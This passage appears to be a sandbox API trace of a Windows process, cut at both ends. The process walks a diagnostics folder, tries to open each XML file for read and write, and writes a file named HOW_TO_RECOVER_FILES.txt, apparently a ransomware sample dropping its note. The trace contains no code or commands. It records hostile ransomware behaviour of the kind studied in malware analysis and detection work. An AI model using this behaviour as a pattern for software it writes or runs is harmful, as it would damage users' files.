dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0138.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0138.871] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml", lpFilePart=0x0) returned 0x60 [0138.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0138.871] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml"), fInfoLevelId=0x0, lpFileInformation=0x3a34c28 | out: lpFileInformation=0x3a34c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc779c570, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e24298b, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb9eacc8c, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x433c)) returned 1 [0138.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0138.872] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml", lpFilePart=0x0) returned 0x60 [0138.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0138.872] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0138.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0138.874] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml", lpFilePart=0x0) returned 0x64 [0138.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0138.874] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml"), fInfoLevelId=0x0, lpFileInformation=0x3a354f0 | out: lpFileInformation=0x3a354f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc779c570, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e28ee3c, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xba09c6cc, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x443f)) returned 1 [0138.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0138.874] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml", lpFilePart=0x0) returned 0x64 [0138.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0138.874] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0138.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0138.876] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml", lpFilePart=0x0) returned 0x60 [0138.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0138.876] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml"), fInfoLevelId=0x0, lpFileInformation=0x3a35de0 | out: lpFileInformation=0x3a35de0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc779c570, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e2b5071, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb8d3a091, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x442d)) returned 1 [0138.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0138.877] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml", lpFilePart=0x0) returned 0x60 [0138.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0138.877] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0138.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0138.879] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml", lpFilePart=0x0) returned 0x64 [0138.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0138.879] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml"), fInfoLevelId=0x0, lpFileInformation=0x3a366a8 | out: lpFileInformation=0x3a366a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77c27a6, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e2db2dd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb8c553ea, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4187)) returned 1 [0138.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0138.879] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml", lpFilePart=0x0) returned 0x64 [0138.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0138.879] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0138.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0138.881] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml", lpFilePart=0x0) returned 0x60 [0138.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0138.881] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml"), fInfoLevelId=0x0, lpFileInformation=0x3a36f98 | out: lpFileInformation=0x3a36f98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77c27a6, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e301522, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbb0b32d3, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x418b)) returned 1 [0138.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0138.881] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml", lpFilePart=0x0) returned 0x60 [0138.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0138.881] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0138.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0138.883] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml", lpFilePart=0x0) returned 0x64 [0138.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0138.883] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml"), fInfoLevelId=0x0, lpFileInformation=0x3a37860 | out: lpFileInformation=0x3a37860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77e89d5, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e34d9d0, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbaf35d10, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4172)) returned 1 [0138.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0138.884] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml", lpFilePart=0x0) returned 0x64 [0138.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0138.884] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0138.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0138.886] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml", lpFilePart=0x0) returned 0x60 [0138.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0138.886] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml"), fInfoLevelId=0x0, lpFileInformation=0x3a38150 | out: lpFileInformation=0x3a38150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c930e8, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e399e7e, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x8507a310, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c3a)) returned 1 [0138.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0138.886] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml", lpFilePart=0x0) returned 0x60 [0138.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0138.887] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0138.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0138.888] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml", lpFilePart=0x0) returned 0x64 [0138.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0138.889] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml"), fInfoLevelId=0x0, lpFileInformation=0x3a38a18 | out: lpFileInformation=0x3a38a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c930e8, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e458a8d, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x85007c03, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x424c)) returned 1 [0138.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0138.889] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml", lpFilePart=0x0) returned 0x64 [0138.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0138.889] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0138.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0139.001] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml", lpFilePart=0x0) returned 0x60 [0139.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0139.016] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml"), fInfoLevelId=0x0, lpFileInformation=0x38ba0b0 | out: lpFileInformation=0x38ba0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc780ec0e, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e4a4f18, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb806a476, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x43ad)) returned 1 [0139.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0139.017] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml", lpFilePart=0x0) returned 0x60 [0139.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0139.017] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0139.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0139.019] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", lpFilePart=0x0) returned 0x64 [0139.019] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0139.019] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml"), fInfoLevelId=0x0, lpFileInformation=0x38c8b00 | out: lpFileInformation=0x38c8b00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc780ec0e, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb819b5fa, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4443)) returned 1 [0139.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0139.019] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", lpFilePart=0x0) returned 0x64 [0139.019] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0139.019] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0139.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0139.021] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4b [0139.021] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0139.021] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0139.022] GetFileType (hFile=0x6e0) returned 0x1 [0139.022] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0139.022] GetFileType (hFile=0x6e0) returned 0x1 [0139.022] WriteFile (in: hFile=0x6e0, lpBuffer=0x38cb820*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x38cb820*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0139.023] CloseHandle (hObject=0x6e0) returned 1 [0139.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0139.023] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLandingStage", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLandingStage", lpFilePart=0x0) returned 0x37 [0139.023] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLandingStage\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x3a0260ae, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0139.024] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x3a0260ae, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.024] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10fa480 | out: 